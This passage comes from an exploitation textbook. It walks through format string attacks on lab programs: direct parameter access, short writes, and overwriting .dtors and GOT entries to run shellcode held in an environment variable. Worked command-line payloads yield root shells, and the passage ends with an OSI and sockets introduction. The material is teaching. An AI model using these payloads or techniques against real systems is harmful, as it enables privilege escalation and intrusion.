What happened here? The difference between 0x06 and 0x08 is only two, but eight bytes are output, resulting in the byte 0x0e being written by the %n format parameter, instead. This is because the field width option for the %x format parameter is only a minimum field width, and eight bytes of data were output. This problem can be alleviated by simply wrapping around again; however, it’s good to know the limitations of the field width option. reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0x108 - 0x06" $1 = 258 reader@hacking:~/booksrc $ ./fmt_vuln2 $(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\xf6\ x97\x04\x08JUNK\xf7\x97\x04\x08")%x%x%161x%n%222x%n%91x%n%258x%n The right way to print user-controlled input: ??JUNK??JUNK??JUNK??%x%x%161x%n%222x%n%91x%n%258x%n The wrong way to print user-controlled input: ??JUNK??JUNK??JUNK??bffff3a0b7fe75fc 0 4b4e554a 4b4e554a 4b4e554a [*] test_val @ 0x080497f4 = 134654925 0x0806abcd [*] next_val @ 0x080497f8 = 285212675 0x11000003 reader@hacking:~/booksrc $

Just like before, the appropriate addresses and junk data are put in the beginning of the format string, and the least significant byte is controlled for four write operations to overwrite all four bytes of the variable test_val. Any value subtractions to the least significant byte can be accomplished by wrapping the byte around. Also, any additions less than eight may need to be wrapped around in a similar fashion.
Ex pl oit a ti on

179

0x355 Direct Parameter Access
Direct parameter access is a way to simplify format string exploits. In the previous exploits, each of the format parameter arguments had to be stepped through sequentially. This necessitated using several %x format parameters to step through parameter arguments until the beginning of the format string was reached. In addition, the sequential nature required three 4-byte words of junk to properly write a full address to an arbitrary memory location. As the name would imply, direct parameter access allows parameters to be accessed directly by using the dollar sign qualifier. For example, %n$d would access the nth parameter and display it as a decimal number. printf("7th: %7$d, 4th: %4$05d\n", 10, 20, 30, 40, 50, 60, 70, 80);

The preceding printf() call would have the following output:
7th: 70, 4th: 00040

First, the 70 is outputted as a decimal number when the format parameter of %7$d is encountered, because the seventh parameter is 70. The second format parameter accesses the fourth parameter and uses a field width option of 05. All of the other parameter arguments are untouched. This method of direct access eliminates the need to step through memory until the beginning of the format string is located, since this memory can be accessed directly. The following output shows the use of direct parameter access. reader@hacking:~/booksrc $ ./fmt_vuln AAAA%x%x%x%x The right way to print user-controlled input: AAAA%x%x%x%x The wrong way to print user-controlled input: AAAAbffff3d0b7fe75fc041414141 [*] test_val @ 0x08049794 = -72 0xffffffb8 reader@hacking:~/booksrc $ ./fmt_vuln AAAA%4\$x The right way to print user-controlled input: AAAA%4$x The wrong way to print user-controlled input: AAAA41414141 [*] test_val @ 0x08049794 = -72 0xffffffb8 reader@hacking:~/booksrc $

In this example, the beginning of the format string is located at the fourth parameter argument. Instead of stepping through the first three parameter arguments using %x format parameters, this memory can be accessed directly. Since this is being done on the command line and the dollar sign is a special character, it must be escaped with a backslash. This just tells the command shell to avoid trying to interpret the dollar sign as a special character. The actual format string can be seen when it is printed correctly.
180

0x 300

Direct parameter access also simplifies the writing of memory addresses. Since memory can be accessed directly, there’s no need for four-byte spacers of junk data to increment the byte output count. Each of the %x format parameters that usually performs this function can just directly access a piece of memory found before the format string. For practice, let’s use direct parameter access to write a more realistic-looking address of 0xbffffd72 into the variable test_vals. reader@hacking:~/booksrc $ ./fmt_vuln $(perl -e 'print "\x94\x97\x04\x08" . "\x95\x97\x04\x08" . "\x96\x97\x04\x08" . "\x97\x97\x04\x08"')%4\$n The right way to print user-controlled input: ????????%4$n The wrong way to print user-controlled input: ???????? [*] test_val @ 0x08049794 = 16 0x00000010 reader@hacking:~/booksrc $ gdb -q (gdb) p 0x72 - 16 $1 = 98 (gdb) p 0xfd - 0x72 $2 = 139 (gdb) p 0xff - 0xfd $3 = 2 (gdb) p 0x1ff - 0xfd $4 = 258 (gdb) p 0xbf - 0xff $5 = -64 (gdb) p 0x1bf - 0xff $6 = 192 (gdb) quit reader@hacking:~/booksrc $ ./fmt_vuln $(perl -e 'print "\x94\x97\x04\x08" . "\x95\x97\x04\x08" . "\x96\x97\x04\x08" . "\x97\x97\x04\x08"')%98x%4\$n%139x%5\$n The right way to print user-controlled input: ????????%98x%4$n%139x%5$n The wrong way to print user-controlled input: ???????? bffff3c0 b7fe75fc [*] test_val @ 0x08049794 = 64882 0x0000fd72 reader@hacking:~/booksrc $ ./fmt_vuln $(perl -e 'print "\x94\x97\x04\x08" . "\x95\x97\x04\x08" . "\x96\x97\x04\x08" . "\x97\x97\x04\x08"')%98x%4\$n%139x%5\$n%258x%6\$n%192x%7\$n The right way to print user-controlled input: ????????%98x%4$n%139x%5$n%258x%6$n%192x%7$n The wrong way to print user-controlled input: ???????? bffff3b0 b7fe75fc 0 8049794 [*] test_val @ 0x08049794 = -1073742478 0xbffffd72 reader@hacking:~/booksrc $

Ex pl oit a ti on

181

Since the stack doesn’t need to be printed to reach our addresses, the number of bytes written at the first format parameter is 16. Direct parameter access is only used for the %n parameters, since it really doesn’t matter what values are used for the %x spacers. This method simplifies the process of writing an address and shrinks the mandatory size of the format string.

0x356 Using Short Writes
Another technique that can simplify format string exploits is using short writes. A short is typically a two-byte word, and format parameters have a special way of dealing with them. A more complete description of possible format parameters can be found in the printf manual page. The portion describing the length modifier is shown in the output below.
The length modifier Here, integer conversion stands for d, i, o, u, x, or X conversion. h A following integer conversion corresponds to a short int or unsigned short int argument, or a following n conversion corresponds to a pointer to a short int argument.

This can be used with format string exploits to write two-byte shorts. In the output below, a short (shown in bold) is written in at both ends of the four-byte test_val variable. Naturally, direct parameter access can still be used. reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%x%hn The right way to print user-controlled input: ??%x%x%x%hn The wrong way to print user-controlled input: ??bffff3d0b7fe75fc0 [*] test_val @ 0x08049794 = -65515 0xffff0015 reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x96\x97\x04\x08")%x%x%x%hn The right way to print user-controlled input: ??%x%x%x%hn The wrong way to print user-controlled input: ??bffff3d0b7fe75fc0 [*] test_val @ 0x08049794 = 1441720 0x0015ffb8 reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x96\x97\x04\x08")%4\$hn The right way to print user-controlled input: ??%4$hn The wrong way to print user-controlled input: ?? [*] test_val @ 0x08049794 = 327608 0x0004ffb8 reader@hacking:~/booksrc $

Using short writes, an entire four-byte value can be overwritten with just two %hn parameters. In the example below, the test_val variable will be overwritten once again with the address 0xbffffd72.

182

0x 300

reader@hacking:~/booksrc $ gdb -q (gdb) p 0xfd72 - 8 $1 = 64874 (gdb) p 0xbfff - 0xfd72 $2 = -15731 (gdb) p 0x1bfff - 0xfd72 $3 = 49805 (gdb) quit reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08\x96\x97\x04\x08")%64874x%4\ $hn%49805x%5\$hn The right way to print user-controlled input: ????%64874x%4$hn%49805x%5$hn The wrong way to print user-controlled input: b7fe75fc [*] test_val @ 0x08049794 = -1073742478 0xbffffd72 reader@hacking:~/booksrc $

The preceding example used a similar wraparound method to deal with the second write of 0xbfff being less than the first write of 0xfd72. Using short writes, the order of the writes doesn’t matter, so the first write can be 0xfd72 and the second 0xbfff, if the two passed addresses are swapped in position. In the output below, the address 0x08049796 is written to first, and 0x08049794 is written to second.
(gdb) p 0xbfff - 8 $1 = 49143 (gdb) p 0xfd72 - 0xbfff $2 = 15731 (gdb) quit reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x96\x97\x04\x08\x94\x97\x04\x08")%49143x%4\ $hn%15731x%5\$hn The right way to print user-controlled input: ????%49143x%4$hn%15731x%5$hn The wrong way to print user-controlled input: ???? b7fe75fc [*] test_val @ 0x08049794 = -1073742478 0xbffffd72 reader@hacking:~/booksrc $

The ability to overwrite arbitrary memory addresses implies the ability to control the execution flow of the program. One option is to overwrite the return address in the most recent stack frame, as was done with the stack-based overflows. While this is a possible option, there are other targets that have more predictable memory addresses. The nature of stack-based overflows only allows the overwrite of the return address, but format strings provide the ability to overwrite any memory address, which creates other possibilities.

Ex pl oit a ti on

183

0x357 Detours with .dtors
In binary programs compiled with the GNU C compiler, special table sections called .dtors and .ctors are made for destructors and constructors, respectively. Constructor functions are executed before the main() function is executed, and destructor functions are executed just before the main() function exits with an exit system call. The destructor functions and the .dtors table section are of particular interest. A function can be declared as a destructor function by defining the destructor attribute, as seen in dtors_sample.c. dtors_sample.c
#include #include static void cleanup(void) __attribute__ ((destructor)); main() { printf("Some actions happen in the main() function..\n"); printf("and then when main() exits, the destructor is called..\n"); exit(0); } void cleanup(void) { printf("In the cleanup function now..\n"); }

In the preceding code sample, the cleanup() function is defined with the destructor attribute, so the function is automatically called when the main() function exits, as shown next. reader@hacking:~/booksrc $ gcc -o dtors_sample dtors_sample.c reader@hacking:~/booksrc $ ./dtors_sample Some actions happen in the main() function.. and then when main() exits, the destructor is called.. In the cleanup() function now.. reader@hacking:~/booksrc $

This behavior of automatically executing a function on exit is controlled by the .dtors table section of the binary. This section is an array of 32-bit addresses terminated by a NULL address. The array always begins with 0xffffffff and ends with the NULL address of 0x00000000. Between these two are the addresses of all the functions that have been declared with the destructor attribute. The nm command can be used to find the address of the cleanup() function, and objdump can be used to examine the sections of the binary.

184

0x 300

reader@hacking:~/booksrc $ nm ./dtors_sample 080495bc d _DYNAMIC 08049688 d _GLOBAL_OFFSET_TABLE_ 080484e4 R _IO_stdin_used w _Jv_RegisterClasses 080495a8 d __CTOR_END__ 080495a4 d __CTOR_LIST__ 080495b4 d __DTOR_END__ 080495ac d __DTOR_LIST__ 080485a0 r __FRAME_END__ 080495b8 d __JCR_END__ 080495b8 d __JCR_LIST__ 080496b0 A __bss_start 080496a4 D __data_start 08048480 t __do_global_ctors_aux 08048340 t __do_global_dtors_aux 080496a8 D __dso_handle w __gmon_start__ 08048479 T __i686.get_pc_thunk.bx 080495a4 d __init_array_end 080495a4 d __init_array_start 08048400 T __libc_csu_fini 08048410 T __libc_csu_init U __libc_start_main@@GLIBC_2.0 080496b0 A _edata 080496b4 A _end 080484b0 T _fini 080484e0 R _fp_hw 0804827c T _init 080482f0 T _start 08048314 t call_gmon_start 080483e8 t cleanup 080496b0 b completed.1 080496a4 W data_start U exit@@GLIBC_2.0 08048380 t frame_dummy 080483b4 T main 080496ac d p.0 U printf@@GLIBC_2.0 reader@hacking:~/booksrc $

The nm command shows that the cleanup() function is located at 0x080483e8 (shown in bold above). It also reveals that the .dtors section starts at 0x080495ac with __DTOR_LIST__ ( ) and ends at 0x080495b4 with __DTOR_END__ ( ). This means that 0x080495ac should contain 0xffffffff, 0x080495b4 should contain 0x00000000, and the address between them ( 0x080495b0 ) should contain the address of the cleanup() function (0x080483e8). The objdump command shows the actual contents of the .dtors section (shown in bold below), although in a slightly confusing format. The first value of 80495ac is simply showing the address where the .dtors section is

Ex pl oit a ti on

185

located. Then the actual bytes are shown, opposed to DWORDs, which means the bytes are reversed. Bearing this in mind, everything appears to be correct. reader@hacking:~/booksrc $ objdump -s -j .dtors ./dtors_sample ./dtors_sample: file format elf32-i386

Contents of section .dtors: 80495ac ffffffff e8830408 00000000 reader@hacking:~/booksrc $

............

An interesting detail about the .dtors section is that it is writable. An object dump of the headers will verify this by showing that the .dtors section isn’t labeled READONLY. reader@hacking:~/booksrc $ objdump -h ./dtors_sample ./dtors_sample: Sections: Idx Name 0 .interp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 file format elf32-i386

Size 00000013 CONTENTS, .note.ABI-tag 00000020 CONTENTS, .hash 0000002c CONTENTS, .dynsym 00000060 CONTENTS, .dynstr 00000051 CONTENTS, .gnu.version 0000000c CONTENTS, .gnu.version_r 00000020 CONTENTS, .rel.dyn 00000008 CONTENTS, .rel.plt 00000020 CONTENTS, .init 00000017 CONTENTS, .plt 00000050 CONTENTS, .text 000001c0 CONTENTS, .fini 0000001c CONTENTS, .rodata 000000bf CONTENTS, .eh_frame 00000004 CONTENTS, .ctors 00000008 CONTENTS,

VMA LMA File off 08048114 08048114 00000114 ALLOC, LOAD, READONLY, DATA 08048128 08048128 00000128 ALLOC, LOAD, READONLY, DATA 08048148 08048148 00000148 ALLOC, LOAD, READONLY, DATA 08048174 08048174 00000174 ALLOC, LOAD, READONLY, DATA 080481d4 080481d4 000001d4 ALLOC, LOAD, READONLY, DATA 08048226 08048226 00000226 ALLOC, LOAD, READONLY, DATA 08048234 08048234 00000234 ALLOC, LOAD, READONLY, DATA 08048254 08048254 00000254 ALLOC, LOAD, READONLY, DATA 0804825c 0804825c 0000025c ALLOC, LOAD, READONLY, DATA 0804827c 0804827c 0000027c ALLOC, LOAD, READONLY, CODE 08048294 08048294 00000294 ALLOC, LOAD, READONLY, CODE 080482f0 080482f0 000002f0 ALLOC, LOAD, READONLY, CODE 080484b0 080484b0 000004b0 ALLOC, LOAD, READONLY, CODE 080484e0 080484e0 000004e0 ALLOC, LOAD, READONLY, DATA 080485a0 080485a0 000005a0 ALLOC, LOAD, READONLY, DATA 080495a4 080495a4 000005a4 ALLOC, LOAD, DATA

Algn 2**0 2**2 2**2 2**2 2**0 2**1 2**2 2**2 2**2 2**2 2**2 2**4 2**2 2**5 2**2 2**2

186

0x 300

0000000c 080495ac 080495ac 000005ac 2**2 CONTENTS, ALLOC, LOAD, DATA 17 .jcr 00000004 080495b8 080495b8 000005b8 2**2 CONTENTS, ALLOC, LOAD, DATA 18 .dynamic 000000c8 080495bc 080495bc 000005bc 2**2 CONTENTS, ALLOC, LOAD, DATA 19 .got 00000004 08049684 08049684 00000684 2**2 CONTENTS, ALLOC, LOAD, DATA 20 .got.plt 0000001c 08049688 08049688 00000688 2**2 CONTENTS, ALLOC, LOAD, DATA 21 .data 0000000c 080496a4 080496a4 000006a4 2**2 CONTENTS, ALLOC, LOAD, DATA 22 .bss 00000004 080496b0 080496b0 000006b0 2**2 ALLOC 23 .comment 0000012f 00000000 00000000 000006b0 2**0 CONTENTS, READONLY 24 .debug_aranges 00000058 00000000 00000000 000007e0 2**3 CONTENTS, READONLY, DEBUGGING 25 .debug_pubnames 00000025 00000000 00000000 00000838 2**0 CONTENTS, READONLY, DEBUGGING 26 .debug_info 000001ad 00000000 00000000 0000085d 2**0 CONTENTS, READONLY, DEBUGGING 27 .debug_abbrev 00000066 00000000 00000000 00000a0a 2**0 CONTENTS, READONLY, DEBUGGING 28 .debug_line 0000013d 00000000 00000000 00000a70 2**0 CONTENTS, READONLY, DEBUGGING 29 .debug_str 000000bb 00000000 00000000 00000bad 2**0 CONTENTS, READONLY, DEBUGGING 30 .debug_ranges 00000048 00000000 00000000 00000c68 2**3 CONTENTS, READONLY, DEBUGGING reader@hacking:~/booksrc $

16 .dtors

Another interesting detail about the .dtors section is that it is included in all binaries compiled with the GNU C compiler, regardless of whether any functions were declared with the destructor attribute. This means that the vulnerable format string program, fmt_vuln.c, must have a .dtors section containing nothing. This can be inspected using nm and objdump. reader@hacking:~/booksrc $ nm ./fmt_vuln | grep DTOR 08049694 d __DTOR_END__ 08049690 d __DTOR_LIST__ reader@hacking:~/booksrc $ objdump -s -j .dtors ./fmt_vuln ./fmt_vuln: file format elf32-i386

Contents of section .dtors: 8049690 ffffffff 00000000 reader@hacking:~/booksrc $

........

As this output shows, the distance between __DTOR_LIST__ and __DTOR_END__ is only four bytes this time, which means there are no addresses between them. The object dump verifies this.
187

Ex pl oit a ti on

Since the .dtors section is writable, if the address after the 0xffffffff is overwritten with a memory address, the program’s execution flow will be directed to that address when the program exits. This will be the address of __DTOR_LIST__ plus four, which is 0x08049694 (which also happens to be the address of __DTOR_END__ in this case). If the program is suid root, and this address can be overwritten, it will be possible to obtain a root shell. reader@hacking:~/booksrc $ export SHELLCODE=$(cat shellcode.bin) reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./fmt_vuln SHELLCODE will be at 0xbffff9ec reader@hacking:~/booksrc $

Shellcode can be put into an environment variable, and the address can be predicted as usual. Since the program name lengths of the helper program getenvaddr.c and the vulnerable fmt_vuln.c program differ by two bytes, the shellcode will be located at 0xbffff9ec when fmt_vuln.c is executed. This address simply has to be written into the .dtors section at 0x08049694 (shown in bold below) using the format string vulnerability. In the output below the short write method is used. reader@hacking:~/booksrc $ gdb -q (gdb) p 0xbfff - 8 $1 = 49143 (gdb) p 0xf9ec - 0xbfff $2 = 14829 (gdb) quit reader@hacking:~/booksrc $ nm ./fmt_vuln | grep DTOR 08049694 d __DTOR_END__ 08049690 d __DTOR_LIST__ reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x96\x96\x04\x08\x94\x96\x04\ x08")%49143x%4\$hn%14829x%5\$hn The right way to print user-controlled input: ????%49143x%4$hn%14829x%5$hn The wrong way to print user-controlled input: ????

b7fe75fc [*] test_val @ 0x08049794 = -72 0xffffffb8 sh-3.2# whoami root sh-3.2#

Even though the .dtors section isn’t properly terminated with a NULL address of 0x00000000, the shellcode address is still considered to be a destructor function. When the program exits, the shellcode will be called, spawning a root shell.

188

0x 300

0x358 Another notesearch Vulnerability
In addition to the buffer overflow vulnerability, the notesearch program from Chapter 2 also suffers from a format string vulnerability. This vulnerability is shown in bold in the code listing below. int print_notes(int fd, int uid, char *searchstring) { int note_length; char byte=0, note_buffer[100]; note_length = find_user_note(fd, uid); if(note_length == -1) // If end of file reached, return 0; // return 0. read(fd, note_buffer, note_length); // Read note data. note_buffer[note_length] = 0; // Terminate the string. if(search_note(note_buffer, searchstring)) // If searchstring found, printf(note_buffer); // print the note. return 1; }

This function reads the note_buffer from the file and prints the contents of the note without supplying its own format string. While this buffer can’t be directly controlled from the command line, the vulnerability can be exploited by sending exactly the right data to the file using the notetaker program and then opening that note using the notesearch program. In the following output, the notetaker program is used to create notes to probe memory in the notesearch program. This tells us that the eighth function parameter is at the beginning of the buffer. reader@hacking:~/booksrc $ ./notetaker AAAA$(perl -e 'print "%x."x10') [DEBUG] buffer @ 0x804a008: 'AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.' [DEBUG] datafile @ 0x804a070: '/var/notes' [DEBUG] file descriptor is 3 Note has been saved. reader@hacking:~/booksrc $ ./notesearch AAAA [DEBUG] found a 34 byte note for user id 999 [DEBUG] found a 41 byte note for user id 999 [DEBUG] found a 5 byte note for user id 999 [DEBUG] found a 35 byte note for user id 999 AAAAbffff750.23.20435455.37303032.0.0.1.41414141.252e7825.78252e78 . -------[ end of note data ]------reader@hacking:~/booksrc $ ./notetaker BBBB%8\$x [DEBUG] buffer @ 0x804a008: 'BBBB%8$x' [DEBUG] datafile @ 0x804a070: '/var/notes' [DEBUG] file descriptor is 3 Note has been saved. reader@hacking:~/booksrc $ ./notesearch BBBB

Ex pl oit a ti on

189

[DEBUG] found a 34 byte note for user id 999 [DEBUG] found a 41 byte note for user id 999 [DEBUG] found a 5 byte note for user id 999 [DEBUG] found a 35 byte note for user id 999 [DEBUG] found a 9 byte note for user id 999 BBBB42424242 -------[ end of note data ]------reader@hacking:~/booksrc $

Now that the relative layout of memory is known, exploitation is just a matter of overwriting the .dtors section with the address of injected shellcode. reader@hacking:~/booksrc $ export SHELLCODE=$(cat shellcode.bin) reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./notesearch SHELLCODE will be at 0xbffff9e8 reader@hacking:~/booksrc $ gdb -q (gdb) p 0xbfff - 8 $1 = 49143 (gdb) p 0xf9e8 - 0xbfff $2 = 14825 (gdb) quit reader@hacking:~/booksrc $ nm ./notesearch | grep DTOR 08049c60 d __DTOR_END__ 08049c5c d __DTOR_LIST__ reader@hacking:~/booksrc $ ./notetaker $(printf "\x62\x9c\x04\x08\x60\x9c\x04\ x08")%49143x%8\$hn%14825x%9\$hn [DEBUG] buffer @ 0x804a008: 'b?`?%49143x%8$hn%14825x%9$hn' [DEBUG] datafile @ 0x804a070: '/var/notes' [DEBUG] file descriptor is 3 Note has been saved. reader@hacking:~/booksrc $ ./notesearch 49143x [DEBUG] found a 34 byte note for user id 999 [DEBUG] found a 41 byte note for user id 999 [DEBUG] found a 5 byte note for user id 999 [DEBUG] found a 35 byte note for user id 999 [DEBUG] found a 9 byte note for user id 999 [DEBUG] found a 33 byte note for user id 999

21 -------[ end of note data ]------sh-3.2# whoami root sh-3.2#

0x359 Overwriting the Global Offset Table
Since a program could use a function in a shared library many times, it’s useful to have a table to reference all the functions. Another special section in compiled programs is used for this purpose—the procedure linkage table (PLT).

190

0x 300

This section consists of many jump instructions, each one corresponding to the address of a function. It works like a springboard—each time a shared function needs to be called, control will pass through the PLT. An object dump disassembling the PLT section in the vulnerable format string program (fmt_vuln.c) shows these jump instructions: reader@hacking:~/booksrc $ objdump -d -j .plt ./fmt_vuln ./fmt_vuln: file format elf32-i386

Disassembly of section .plt: 080482b8 : 80482b8: ff 35 6c 97 04 08 80482be: ff 25 70 97 04 08 80482c4: 00 00 ... 080482c8 : 80482c8: ff 25 74 97 04 08 80482ce: 68 00 00 00 00 80482d3: e9 e0 ff ff ff 080482d8 : 80482d8: ff 25 78 97 04 08 80482de: 68 08 00 00 00 80482e3: e9 d0 ff ff ff 080482e8 : 80482e8: ff 25 7c 97 04 08 80482ee: 68 10 00 00 00 80482f3: e9 c0 ff ff ff 080482f8 : 80482f8: ff 25 80 97 04 08 80482fe: 68 18 00 00 00 8048303: e9 b0 ff ff ff 08048308 : 8048308: ff 25 84 804830e: 68 20 00 8048313: e9 a0 ff reader@hacking:~/booksrc

pushl jmp add

0x804976c *0x8049770 %al,(%eax)

jmp push jmp

*0x8049774 $0x0 80482b8

jmp push jmp

*0x8049778 $0x8 80482b8

jmp push jmp

*0x804977c $0x10 80482b8

jmp push jmp

*0x8049780 $0x18 80482b8

97 04 08 00 00 ff ff $

jmp push jmp

*0x8049784 $0x20 80482b8

One of these jump instructions is associated with the exit() function, which is called at the end of the program. If the jump instruction used for the exit() function can be manipulated to direct the execution flow into shellcode instead of the exit() function, a root shell will be spawned. Below, the procedure linking table is shown to be read only.

Ex pl oit a ti on

191

reader@hacking:~/booksrc $ objdump -h ./fmt_vuln | grep -A1 "\ .plt\ " 10 .plt 00000060 080482b8 080482b8 000002b8 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE

But closer examination of the jump instructions (shown in bold below) reveals that they aren’t jumping to addresses but to pointers to addresses. For example, the actual address of the printf() function is stored as a pointer at the memory address 0x08049780, and the exit() function’s address is stored at 0x08049784.
080482f8 : 80482f8: ff 25 80 97 04 08 80482fe: 68 18 00 00 00 8048303: e9 b0 ff ff ff 08048308 : 8048308: ff 25 84 97 04 08 804830e: 68 20 00 00 00 8048313: e9 a0 ff ff ff

jmp push jmp

*0x8049780 $0x18 80482b8

jmp push jmp

*0x8049784 $0x20 80482b8

These addresses exist in another section, called the global offset table (GOT), which is writable. These addresses can be directly obtained by displaying the dynamic relocation entries for the binary by using objdump. reader@hacking:~/booksrc $ objdump -R ./fmt_vuln ./fmt_vuln: file format elf32-i386

DYNAMIC RELOCATION RECORDS OFFSET TYPE 08049764 R_386_GLOB_DAT 08049774 R_386_JUMP_SLOT 08049778 R_386_JUMP_SLOT 0804977c R_386_JUMP_SLOT 08049780 R_386_JUMP_SLOT 08049784 R_386_JUMP_SLOT

VALUE __gmon_start__ __gmon_start__ __libc_start_main strcpy printf exit

reader@hacking:~/booksrc $

This reveals that the address of the exit() function (shown in bold above) is located in the GOT at 0x08049784 . If the address of the shellcode is overwritten at this location, the program should call the shellcode when it thinks it’s calling the exit() function. As usual, the shellcode is put in an environment variable, its actual location is predicted, and the format string vulnerability is used to write the value. Actually, the shellcode should still be located in the environment from before, meaning that the only things that need adjustment are the first 16 bytes of the format string. The calculations for the %x format parameters will be done

192

0x 300

once again for clarity. In the output below, the address of the shellcode ( ) is written into the address of the exit() function ( ). reader@hacking:~/booksrc $ export SHELLCODE=$(cat shellcode.bin) reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./fmt_vuln SHELLCODE will be at 0xbffff9ec reader@hacking:~/booksrc $ gdb -q (gdb) p 0xbfff - 8 $1 = 49143 (gdb) p 0xf9ec - 0xbfff $2 = 14829 (gdb) quit reader@hacking:~/booksrc $ objdump -R ./fmt_vuln ./fmt_vuln: file format elf32-i386

DYNAMIC RELOCATION RECORDS OFFSET TYPE 08049764 R_386_GLOB_DAT 08049774 R_386_JUMP_SLOT 08049778 R_386_JUMP_SLOT 0804977c R_386_JUMP_SLOT 08049780 R_386_JUMP_SLOT 08049784 R_386_JUMP_SLOT

VALUE __gmon_start__ __gmon_start__ __libc_start_main strcpy printf exit

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x86\x97\x04\x08\x84\x97\x04\ x08")%49143x%4\$hn%14829x%5\$hn The right way to print user-controlled input: ????%49143x%4$hn%14829x%5$hn The wrong way to print user-controlled input: ????

b7fe75fc [*] test_val @ 0x08049794 = -72 0xffffffb8 sh-3.2# whoami root sh-3.2#

When fmt_vuln.c tries to call the exit() function, the address of the exit() function is looked up in the GOT and is jumped to via the PLT. Since the actual address has been switched with the address for the shellcode in the environment, a root shell is spawned. Another advantage of overwriting the GOT is that the GOT entries are fixed per binary, so a different system with the same binary will have the same GOT entry at the same address. The ability to overwrite any arbitrary address opens up many possibilities for exploitation. Basically, any section of memory that is writable and contains an address that directs the flow of program execution can be targeted.

Ex pl oit a ti on

193

0x400
NETWORKING
Communication and language have greatly enhanced the abilities of the human race. By using a common language, humans are able to transfer knowledge, coordinate actions, and share experiences. Similarly, programs can become much more powerful when they have the ability to communicate with other programs via a network. The real utility of a web browser isn’t in the program itself, but in its ability to communicate with webservers. Networking is so prevalent that it is sometimes taken for granted. Many applications such as email, the Web, and instant messaging rely on networking. Each of these applications relies on a particular network protocol, but each protocol uses the same general network transport methods. Many people don’t realize that there are vulnerabilities in the networking protocols themselves. In this chapter you will learn how to network your applications using sockets and how to deal with common network vulnerabilities.

0x410

OSI Model
When two computers talk to each other, they need to speak the same language. The structure of this language is described in layers by the OSI model. The OSI model provides standards that allow hardware, such as routers and firewalls, to focus on one particular aspect of communication that applies to them and ignore others. The OSI model is broken down into conceptual layers of communication. This way, routing and firewall hardware can focus on passing data at the lower layers, ignoring the higher layers of data encapsulation used by running applications. The seven OSI layers are as follows: Physical layer This layer deals with the physical connection between two points. This is the lowest layer, whose primary role is communicating raw bit streams. This layer is also responsible for activating, maintaining, and deactivating these bit-stream communications. Data-link layer This layer deals with actually transferring data between two points. In contrast with the physical layer, which takes care of sending the raw bits, this layer provides high-level functions, such as error correction and flow control. This layer also provides procedures for activating, maintaining, and deactivating data-link connections. Network layer This layer works as a middle ground; its primary role is to pass information between the lower and the higher layers. It provides addressing and routing. Transport layer This layer provides transparent transfer of data between systems. By providing reliable data communication, this layer allows the higher layers to never worry about reliability or cost-effectiveness of data transmission. Session layer This layer is responsible for establishing and maintaining connections between network applications. Presentation layer This layer is responsible for presenting the data to applications in a syntax or language they understand. This allows for things like encryption and data compression. Application layer This layer is concerned with keeping track of the requirements of the application. When data is communicated through these protocol layers, it’s sent in small pieces called packets. Each packet contains implementations of these protocol layers. Starting from the application layer, the packet wraps the presentation layer around that data, which wraps the session layer, which wraps the transport layer, and so forth. This process is called encapsulation. Each wrapped layer contains a header and a body. The header contains the protocol information needed for that layer, while the body contains the data for that layer. The body of one layer contains the entire package of previously encapsulated layers, like the skin of an onion or the functional contexts found on a program’s stack.

196

0x 400

For example, whenever you browse the Web, the Ethernet cable and card make up the physical layer, taking care of the transmission of raw bits from one end of the cable to the other. The next later is the data link layer. In the web browser example, Ethernet makes up this layer, which provides the low-level communications between Ethernet ports on the LAN. This protocol allows for communication between Ethernet ports, but these ports don’t yet have IP addresses. The concept of IP addresses doesn’t exist until the next layer, the network layer. In addition to addressing, this layer is responsible for moving data from one address to another. These three lower layers together are able to send packets of data from one IP address to another. The next layer is the transport layer, which for web traffic is TCP; it provides a seamless bidirectional socket connection. The term TCP/IP describes the use of TCP on the transport layer and IP on the network layer. Other addressing schemes exist at this layer; however, your web traffic probably uses IP version 4 (IPv4). IPv4 addresses follow a familiar form of XX.XX.XX.XX. IP version 6 (IPv6) also exists on this layer, with a totally different addressing scheme. Since IPv4 is most common, IP will always refer to IPv4 in this book. The web traffic itself uses HTTP (Hypertext Transfer Protocol) to communicate, which is in the top layer of the OSI model. When you browse the Web, the web browser on your network is communicating across the Internet with the webserver located on a different private network. When this happens, the data packets are encapsulated down to the physical layer where they are passed to a router. Since the router isn’t concerned with what’s actually in the packets, it only needs to implement protocols up to the network layer. The router sends the packets out to the Internet, where they reach the other network’s router. This router then encapsulates this packet with the lowerlayer protocol headers needed for the packet to reach its final destination. This process is shown in the following illustration.
Network 1 application (7) Application layer (6) Presentation layer (5) Session layer (4) Transport layer (3) Network layer (2) Data-link layer (1) Physical layer Internet Network 2 application

N et wor kin g

197

All of this packet encapsulation makes up a complex language that hosts on the Internet (and other types of networks) use to communicate with each other. These protocols are programmed into routers, firewalls, and your computer’s operating system so they can communicate. Programs that use networking, such as web browsers and email clients, need to interface with the operating system which handles the network communications. Since the operating system takes care of the details of network encapsulation, writing network programs is just a matter of using the network interface of the OS.

0x420

Sockets
A socket is a standard way to perform network communication through the OS. A socket can be thought of as an endpoint to a connection, like a socket on an operator’s switchboard. But these sockets are just a programmer’s abstraction that takes care of all the nitty-gritty details of the OSI model described above. To the programmer, a socket can be used to send or receive data over a network. This data is transmitted at the session layer (5), above the lower layers (handled by the operating system), which take care of routing. There are several different types of sockets that determine the structure of the transport layer (4). The most common types are stream sockets and datagram sockets. Stream sockets provide reliable two-way communication similar to when you call someone on the phone. One side initiates the connection to the other, and after the connection is established, either side can communicate to the other. In addition, there is immediate confirmation that what you said actually reached its destination. Stream sockets use a standard communication protocol called Transmission Control Protocol (TCP), which exists on the transport layer (4) of the OSI model. On computer networks, data is usually transmitted in chunks called packets. TCP is designed so that the packets of data will arrive without errors and in sequence, like words arriving at the other end in the order they were spoken when you are talking on the telephone. 